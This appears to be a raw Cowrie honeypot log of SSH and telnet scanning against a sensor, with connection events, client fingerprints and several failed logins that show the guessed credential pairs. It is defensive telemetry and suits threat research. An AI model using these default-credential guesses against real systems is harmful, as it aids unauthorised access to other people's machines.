{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:40.238278Z","src_ip":"161.248.189.72","session":"5eaf1bf4d25d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123!@","message":"login attempt [root/admin@123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:41.197377Z","src_ip":"161.248.189.72","session":"5eaf1bf4d25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.504881381988525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:42.251374Z","src_ip":"117.50.245.253","session":"c45d7c7a98dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:42.428429Z","src_ip":"161.248.189.72","session":"5eaf1bf4d25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35968,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3e866ac936","protocol":"telnet","message":"New connection: 135.148.33.91:35968 (159.203.135.109:23) [session: 5f3e866ac936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:47.452632Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36282,"dst_ip":"159.203.135.109","dst_port":23,"session":"7711b46ef6a6","protocol":"telnet","message":"New connection: 135.148.33.91:36282 (159.203.135.109:23) [session: 7711b46ef6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:50.058604Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38364,"dst_ip":"159.203.135.109","dst_port":23,"session":"c87be189d45f","protocol":"telnet","message":"New connection: 135.148.33.91:38364 (159.203.135.109:23) [session: c87be189d45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:50.730277Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38746,"dst_ip":"159.203.135.109","dst_port":23,"session":"de8c17a42dc6","protocol":"telnet","message":"New connection: 135.148.33.91:38746 (159.203.135.109:23) [session: de8c17a42dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:51.430247Z"}
{"eventid":"cowrie.session.closed","duration":33.43377375602722,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:55.622052Z","src_ip":"135.148.33.91","session":"850200732f52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.118335485458374,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:03.200225Z","src_ip":"135.148.33.91","session":"6cbb66fdfdb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18548035621643,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:12.308692Z","src_ip":"135.148.33.91","session":"6e5dc8f9ce36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":38167,"dst_ip":"159.203.135.109","dst_port":22,"session":"4274fa2e1aa9","protocol":"ssh","message":"New connection: 185.158.22.150:38167 (159.203.135.109:22) [session: 4274fa2e1aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:17.745045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:17.754187Z","src_ip":"185.158.22.150","session":"4274fa2e1aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:17.916949Z","src_ip":"185.158.22.150","session":"4274fa2e1aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53082,"dst_ip":"159.203.135.109","dst_port":23,"session":"a02488ce38e0","protocol":"telnet","message":"New connection: 135.148.33.91:53082 (159.203.135.109:23) [session: a02488ce38e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:18.401362Z"}
{"eventid":"cowrie.login.failed","username":"suser","password":"1234","message":"login attempt [suser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:18.601089Z","src_ip":"185.158.22.150","session":"4274fa2e1aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:19.766701Z","src_ip":"185.158.22.150","session":"4274fa2e1aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54890,"dst_ip":"159.203.135.109","dst_port":23,"session":"1138d521785c","protocol":"telnet","message":"New connection: 135.148.33.91:54890 (159.203.135.109:23) [session: 1138d521785c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:20.580294Z"}
{"eventid":"cowrie.session.closed","duration":33.347912073135376,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:20.800450Z","src_ip":"135.148.33.91","session":"5f3e866ac936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59542465209961,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:21.653907Z","src_ip":"135.148.33.91","session":"7711b46ef6a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57176,"dst_ip":"159.203.135.109","dst_port":23,"session":"de789fd32a30","protocol":"telnet","message":"New connection: 135.148.33.91:57176 (159.203.135.109:23) [session: de789fd32a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:24.598165Z"}
{"eventid":"cowrie.session.closed","duration":34.2852144241333,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:25.015384Z","src_ip":"135.148.33.91","session":"c87be189d45f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.35158729553223,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:26.781721Z","src_ip":"135.148.33.91","session":"de8c17a42dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59028,"dst_ip":"159.203.135.109","dst_port":23,"session":"6efc9a9f9cdb","protocol":"telnet","message":"New connection: 135.148.33.91:59028 (159.203.135.109:23) [session: 6efc9a9f9cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:28.852334Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36796,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7c4b0b38cc4","protocol":"telnet","message":"New connection: 135.148.33.91:36796 (159.203.135.109:23) [session: a7c4b0b38cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:39.780591Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60374,"dst_ip":"10.17.0.5","dst_port":22,"session":"0df0956db811","protocol":"ssh","message":"New connection: 161.248.189.72:60374 (10.17.0.5:22) [session: 0df0956db811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:40.862836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:40.867604Z","src_ip":"161.248.189.72","session":"0df0956db811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:41.100248Z","src_ip":"161.248.189.72","session":"0df0956db811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Abc","message":"login attempt [root/123456@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:42.056566Z","src_ip":"161.248.189.72","session":"0df0956db811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:43.291823Z","src_ip":"161.248.189.72","session":"0df0956db811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42596,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6993ea434e4","protocol":"telnet","message":"New connection: 135.148.33.91:42596 (159.203.135.109:23) [session: f6993ea434e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:48.838183Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44444,"dst_ip":"159.203.135.109","dst_port":23,"session":"453180f1c53e","protocol":"telnet","message":"New connection: 135.148.33.91:44444 (159.203.135.109:23) [session: 453180f1c53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:51.978175Z"}
{"eventid":"cowrie.session.closed","duration":33.89675498008728,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:52.297965Z","src_ip":"135.148.33.91","session":"a02488ce38e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":48378,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcf6a2e32567","protocol":"telnet","message":"New connection: 104.140.145.149:48378 (159.203.135.109:23) [session: bcf6a2e32567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:53.476946Z"}
{"eventid":"cowrie.session.closed","duration":0.0048351287841796875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:53.481632Z","src_ip":"104.140.145.149","session":"bcf6a2e32567","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.36579775810242,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:54.945944Z","src_ip":"135.148.33.91","session":"1138d521785c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62261462211609,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:58.220632Z","src_ip":"135.148.33.91","session":"de789fd32a30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49242,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b18422d8534","protocol":"telnet","message":"New connection: 135.148.33.91:49242 (159.203.135.109:23) [session: 0b18422d8534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:10:59.809115Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":32792,"dst_ip":"159.203.135.109","dst_port":23,"session":"01b7acbf1e66","protocol":"telnet","message":"New connection: 104.140.145.149:32792 (159.203.135.109:23) [session: 01b7acbf1e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:01.159081Z"}
{"eventid":"cowrie.session.closed","duration":0.005055665969848633,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:01.164007Z","src_ip":"104.140.145.149","session":"01b7acbf1e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.473573446273804,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:01.325806Z","src_ip":"135.148.33.91","session":"6efc9a9f9cdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":5037,"dst_ip":"159.203.135.109","dst_port":22,"session":"c72b8319bbb2","protocol":"ssh","message":"New connection: 185.158.22.150:5037 (159.203.135.109:22) [session: c72b8319bbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:02.762275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:02.766779Z","src_ip":"185.158.22.150","session":"c72b8319bbb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:02.931080Z","src_ip":"185.158.22.150","session":"c72b8319bbb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"palosanto","message":"login attempt [admin/palosanto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:03.614120Z","src_ip":"185.158.22.150","session":"c72b8319bbb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:04.780657Z","src_ip":"185.158.22.150","session":"c72b8319bbb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53950,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0655066fc7e","protocol":"telnet","message":"New connection: 135.148.33.91:53950 (159.203.135.109:23) [session: c0655066fc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:08.188628Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55006,"dst_ip":"159.203.135.109","dst_port":23,"session":"714cdd930546","protocol":"telnet","message":"New connection: 135.148.33.91:55006 (159.203.135.109:23) [session: 714cdd930546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:09.938200Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51092,"dst_ip":"159.203.135.109","dst_port":23,"session":"62206af48092","protocol":"telnet","message":"New connection: 135.148.33.91:51092 (159.203.135.109:23) [session: 62206af48092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:10.154263Z"}
{"eventid":"cowrie.session.closed","duration":34.66456174850464,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:14.445065Z","src_ip":"135.148.33.91","session":"a7c4b0b38cc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.90414023399353,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:22.742185Z","src_ip":"135.148.33.91","session":"f6993ea434e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35414,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bbb7a965a07","protocol":"telnet","message":"New connection: 135.148.33.91:35414 (159.203.135.109:23) [session: 1bbb7a965a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:23.990026Z"}
{"eventid":"cowrie.session.closed","duration":34.315808057785034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:26.293864Z","src_ip":"135.148.33.91","session":"453180f1c53e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36562,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aebf9d7ca0a","protocol":"telnet","message":"New connection: 135.148.33.91:36562 (159.203.135.109:23) [session: 3aebf9d7ca0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:26.703045Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":45374,"dst_ip":"159.203.135.109","dst_port":23,"session":"7afa7dc49e67","protocol":"telnet","message":"New connection: 104.140.145.149:45374 (159.203.135.109:23) [session: 7afa7dc49e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:33.863710Z"}
{"eventid":"cowrie.session.closed","duration":34.21782469749451,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:34.026825Z","src_ip":"135.148.33.91","session":"0b18422d8534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45700,"dst_ip":"159.203.135.109","dst_port":23,"session":"51e113b50e3a","protocol":"telnet","message":"New connection: 135.148.33.91:45700 (159.203.135.109:23) [session: 51e113b50e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:40.552184Z"}
{"eventid":"cowrie.session.closed","duration":33.39603877067566,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:41.584554Z","src_ip":"135.148.33.91","session":"c0655066fc7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60452,"dst_ip":"10.17.0.5","dst_port":22,"session":"004cc53b6542","protocol":"ssh","message":"New connection: 161.248.189.72:60452 (10.17.0.5:22) [session: 004cc53b6542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:42.688121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:42.692305Z","src_ip":"161.248.189.72","session":"004cc53b6542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.010847091674805,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:43.165037Z","src_ip":"135.148.33.91","session":"62206af48092","protocol":"telnet"}
